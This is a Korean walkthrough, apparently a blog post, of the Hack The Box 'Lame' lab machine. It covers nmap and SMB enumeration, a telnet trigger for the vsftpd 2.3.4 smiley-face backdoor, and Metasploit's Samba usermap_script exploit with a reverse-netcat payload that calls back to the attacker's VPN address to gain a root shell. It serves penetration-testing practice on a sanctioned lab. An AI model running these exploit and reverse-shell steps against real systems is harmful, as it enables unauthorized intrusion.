
1. 개요
이 문제는 익명으로 접근 가능한 SMB에서 usermap script 취약점을 통해 root 권한의 리버스 쉘을 따내는 것을 목표로 한다.
- 날짜 : 2025/04/05
- 키워드 : explore_smb_usermap
- 사용환경
| 사용 OS | 터미널 환경 | 사용 머신 |
| Kali Linux | MobaXterm | Hack The Box Lame |
2. 단계별 풀이
이 문제를 풀기 위한 절차를 나열하면 다음과 같다.
- 서비스 식별
- 취약점 탐색
- FTP/SMB 접속 시도
- 취약한 버전 확인
- Metasploit 세팅
- 리버스 쉘 획득
- 권한 확인 및 루트 쉘 확보
- 플래그 확보
2-1. Nmap 스캔
모든 열린 포트 + 서비스 버전 + 기본 스크립트 분석 결과를 출력하는 명령어로, 여기서 어떤 취약점으로 접근할지 방향을 잡을 수 있다.
nmap -sC -sV -v -oN lame_scan.txt 10.10.10.3
- -sC : 기본 스크립트 실행
- -sV : 서비스 버전 식별
- -oN : 검사 결과를 텍스트 파일에 저장하는 출력 형식 플래그
- 10.10.10.3 : 해당 머신 IP
2-2. 머신 스캔 결과
┌~(ali㉿kali)-[~]
└─$ nmap -sC -sV -v -oN lame_scan.txt 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-04 11:13 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating Ping Scan at 11:13
Scanning 10.10.10.3 [4 ports]
Completed Ping Scan at 11:13, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:13
Completed Parallel DNS resolution of 1 host. at 11:13, 0.01s elapsed
Initiating SYN Stealth Scan at 11:13
Scanning 10.10.10.3 [1000 ports]
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Completed SYN Stealth Scan at 11:13, 24.31s elapsed (1000 total ports)
Initiating Service scan at 11:13
Scanning 4 services on 10.10.10.3
Completed Service scan at 11:13, 12.84s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.10.3.
Initiating NSE at 11:13
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 11:14, 40.09s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 3.83s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Nmap scan report for 10.10.10.3
Host is up (0.30s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.36
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h00m24s, deviation: 2h49m46s, median: 21s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-04-04T11:14:25-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
NSE: Script Post-scanning.
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.66 seconds
Raw packets sent: 2013 (88.548KB) | Rcvd: 18 (776B)
결과는 엄청 길게 나왔는데 여기서 주의 깊게 봐야 하는 부분은 다음과 같다.
2-1-1. 열린 포트 확인

| 포트 | 서비스 용도 |
| 21/tcp | FTP (파일 전송 프로토콜) |
| 22/tcp | SSH (원격 접속) |
| 139/tcp | NetBIOS Session Service (SMB 관련) |
| 445/tcp | SMB (Windows 파일 공유 프로토콜) |
- SMB 서비스 포트 139, 445가 열려있음을 확인하였다
- FTP (21) : 취약한 FTP 버전일 경우 바로 공격이 가능한 상태다
- SSH (22) : 보통은 루트권한 획득 이후 접속 용도이다
2-1-2. 포트별 서비스와 버전 정보 확인




2-1-3. 핵심 포트 및 서비스 요약
| 포트 | 서비스 | 버전 정보 | 주목 포인트 |
| 21/tcp | FTP | 2.3.4 | 익명 로그인 허용(Anonymous login allowed) |
| 22/tcp | SSH | OpenSSH 4.7p1 Debian | 참고용도(루트 권한 없으면 공격 불가) |
| 139/tcp | NetBIOS-SSN | Samba smbd 3.0.20-Debian | user-level에서 접근 가능한 SMB 취약점 가능성 |
| 445/tcp | Microsoft-DS | Samba 3.0.20-Debian | 위와 동일. SMB 관련 공격 후보 |
- FTP : vsftpd 2.3.4
- 해당 버전은 백도어 취약점 CVE-2011-2523이 존재한다
- 익명 로그인이 허용된다.(사진 2번, ftp-anon NSE 결과에서 확인 가능)
- 메타스플로잇으로 자동 공격이 가능하다
# 익명 로그인 테스트 명령어
ftp 10.10.10.3
- FTP 접속 출력 결과
- Name (10.10.10.3 kali) : anonymous
- Password : 어지간함 엔터 누르면 됨
- 익명으로 접속하여 디렉터리 목록 출력을 요청했지만 결과를 반환하지 않는 걸 알 수 있다.(비어있거나 접근 제한된 상태)

- SMB : Samba 3.0.20
- 해당 버전은 usermap script 취약점 CVE-2007-2447이 존재할 수 있다.
- user-level에서 접근 가능, smb-os-discovery 결과가 출력되어 있다.(사진 3에서 확인 가능)
- 구버전 윈도우 공유 기능으로, 사용자 정보 및 쉘을 따는 게 가능한 상태이다.
- 공격 툴 : metasploit, smbclient, smbmap, enum4linux
# SMB 공유 목록 확인 명령어
# -L : 리스트 보기 | -N : 비밀번호 없이 접속
smbclient -L \\\\10.10.10.3\\ -N
- SMB 공유 폴더 접속 및 분석 결과
- 비밀번호 없이 SMB 서버에 접속한 상태로, 공유 목록을 확인할 수 있다.

| Sharename | Type | Comment |
| print$ | 프린터 드라이버 공유 | Print Drivers |
| tmp | 디스크 타입, "oh, noes!" 코멘트 확인 | 접속 시도 후보 |
| opt | 다른 공유 폴더 | 접속 시도 후보 |
| IPC$, ADMIN$ | 시스템 공유 (보통은 접근 안됨) | 참고 용도 |
- tmp 공유 파일 접속 시도
smbclient \\\\10.10.10.3\\tmp -N

| 파일/폴더 | 설명 |
| xwgdaq, .ICE-unix, .X11-unix, vmware-root | GUI 관련 디렉터리들(VMware 환경 흔적 존재) |
| 5541.jsvc_up | 일반적인 파일 이름이 아님. 사용자 코드나 서비스에 대한 힌트일 가능성 존재 |
| vgauthsvc.log.txt.0 | 로그파일(.txt.0)으로, 정보가 나올 수 있음 |
- 의심되는 공유 파일 다운로드 시도
# 로그 파일 다운로드
get vgauthsvc.log.txt.0
# 의심되는 파일 다운로드
get 5541.jsvp_up

| 파일명 | 접근 가능 여부 | 의미 |
| vgauthsvc.log.txt.0 | 다운로드 성공 | 분석 가능함 |
| opt | 권한 부족(NT_STATUS_ACCESS_DENIED) | 권한 부족 |
| 5541.jsvc_up | 권한 부족(NT_STATUS_ACCESS_DENIED) | 익명 접근으로는 한계, 유저 권한 필요 |
- vgauthsvc.log.txt.0 파일 분석
# 로그 파일 출력 명령어
cat vgauthsvc.log.txt.0

| 항목 | 내용 |
| 서비스 이름 | VGAuthService(VMware 인증 관련) |
| 로그 위치 | /etc/vmware-tools/vgauth.conf |
| 서비스 상태 | INIT SERVICE, BEGIN SERVICE 등 ->실행 중 로그 |
| 메시지 | SAML 관련 정보 존재, 로그 레벨은 normal |
- 이 머신은 VMware 가상환경 위에 올라가 있으며, 로그만으로는 직접적인 취약점 정보를 찾을 수 없는 상태이다
- 다만 내부 시스템 구조, 인증 서비스, 경로 힌트는 파악할 수 있다.
2-1-4. 현재까지의 상황 정리
| 절차 | 상세 내용 |
| 1. nmap 스캔 | 서버 내부 포트 확인 및 버전 정보 확인 |
| 2. FTP 접속 | 익명 로그인이 가능한 버전(vsftpd 2.3.4) |
| 3. SMB 탐색 | 파일 공유 시스템이 열려 있는 것을 확인함. 의심 파일 분석 |
| 4. tmp 공유 파일 접속 | 접근 권한, 내부 파일 구조 및 로그 파일 탐색/다운로드 |
| 5. 로그 분석 | 서버가 VMware 가상머신임을 확인, 인증 시스템 존재 확인 |
2-2. 공격 실습
nmap으로 확인된 취약점으로 가능한 공격은 총 두가지다.
| 공격 대상 | 취약점 정보 | 상세설명 |
| vsftpd 2.3.4 | CVE-2011-2523 | 로그인 시도에 : ) 넣으면 백도어가 열리는 유명 취약점 |
| Samba 3.0.20 | CVE-2007-2447 | 오래된 공유 시스템에 명령어 삽입 가능한 취약점 |
2-2-1. vsftpd 2.3.4 백도어 취약점 테스트
다음은 USER 명령에 :)를 같이 입력하여 백도어가 활성화되도록 트리거를 거는 명령어이다.
# 열려있는 포트 21번, telnet으로 접속한다
telnet 10.10.10.3 21
# USER 명령에 :)를 포함한다 -> 백도어 활성화 트리거
USER back :)
# PASSWORD 넘어감
PASS whatever
# PASSWORD 까지 성공할 경우 다음의 코드 입력
# nmap으로 10.10.10.3의 모든 포트를 스캔한다
nmap -p- 10.10.10.3
# 6200번 포트가 나올 경우 telnet으로 이 포트에 접근하여 리버스 쉘을 연다
telnet 10.10.10.3 6200

- 테스 트 결과, vsftpd 백도어는 실습용 머신 설정 상 현재 비활성화된 상태인 걸 확인할 수 있었다.
- 따라서 리버스쉘은 전개가 불가한 상황이다
2-2-2. Samba 3.0.20 유저 맵핑 취약점 학인
2-2-2-1. Metasploit 사용을 위한 msfconsole 실행
# msfconsole 접속
msfconsole

2-2-2-2. 취약점 모듈 로딩
use exploit/multi/samba/usermap_script
- Samba usermap_script 취약점 모듈을 사용한다
- 오래된 Samba에서 쉘 명령어를 주입할 수 있게 해주는 취약점을 이용하겠다는 뜻이다
2-2-2-3. 설정값 입력
set RHOSTS 10.10.10.3
set RPORT 139
- RHOSTS : 타깃 머신 IP
- RPORT : Samba가 사용하는 포트번호 = 139번
2-2-2-4. 페이로드 설정
set PAYLOAD cmd/unix/reverse_netcat
set LHOST [리눅스 vpn IP]
set LPORT [포트번호 지정 ex.5555]
- 첫번째 페이로드 설정의 경우, 해당 취약점을 성공시키려면 타겟 컴퓨터가 리버스쉘로 공격자의 컴퓨터에 접속하라는 뜻이다
- LHOST : 내 리눅스 VPN IP
- LPORT : 리버스쉘이 들어올 내 포트
[오류 1] 리눅스 IP 지정 오류

- Hack The Box는 VPN 연결 후 생기는 tun0 인터페이스를 통해 공격/응답을 주고 받는다.
- 따라서 ifconfig로 확인한 리눅스 IP는 리버스쉘을 받을 수 없는 상태로, 오류가 발생한다
- 해결 방법
# 리눅스에서 VPN 연결된 IP 확인
ip a | grep tun0
# LHOST 재설정
set LHOST [vpn ip]
[오류 2] Netcat 포트 점유 오류

- nc -lvnp [포트번호] 명령어 실행 시 Netcat 리스너가 포트를 미리 점유하고 있어 메타스플로잇과 충돌하는 현상으로,
- 다른 터미널 창에서 작동하고 있는 Netcat을 닫고 메타스플로잇만 돌려서 오류를 해결하였다.
2-2-2-5. msfconsole에서 run 명령어 실행

- 취약점이 작동해서 타겟 컴퓨터가 공격자 쪽으로 쉥릉 보내면, 메타스플로잇에서 Session이 열렸다고 신호를 준다.
2-2-2-6. 현재 쉘 세션에 진입
# 현재 연결된 쉘 세션 확인
sessions
# ID 1번 세션으로 진입
sessions -i 1

- 메타스플로잇이 돌아가고 있는 터미널은 그대로 두고, 새 터미널 창을 열어 msfconsole로 들어가 세션 1번으로 진입한다.
- 성공 시 타깃 컴퓨터의 쉘에서 초기 권한을 획득했단 의미며, 여기서 원하는 명령어를 실행할 수 있는데, 다음과 같이 나온다.

| 명령어 | 상세 내용 |
| whoami | 현재 권한 확인 |
| uname -a | 시스템 정보, 커널 버전 확인 |
| id | 권한 ID 확인 |
| ls -la | 디렉터리 탐색 |
| pwd | 현재 디렉터리 경로 확인 |
2-2-2-7. root 플래그 획득
cd /root
ls
cat root.txt

2-2-2-3. user makis의 플래그 획득
cd /user
ls
cd makis
cat user.txt

'컴퓨터 > HTB' 카테고리의 다른 글
| [HTB] HackTheBox OpenVpn 환경 세팅 (0) | 2025.04.09 |
|---|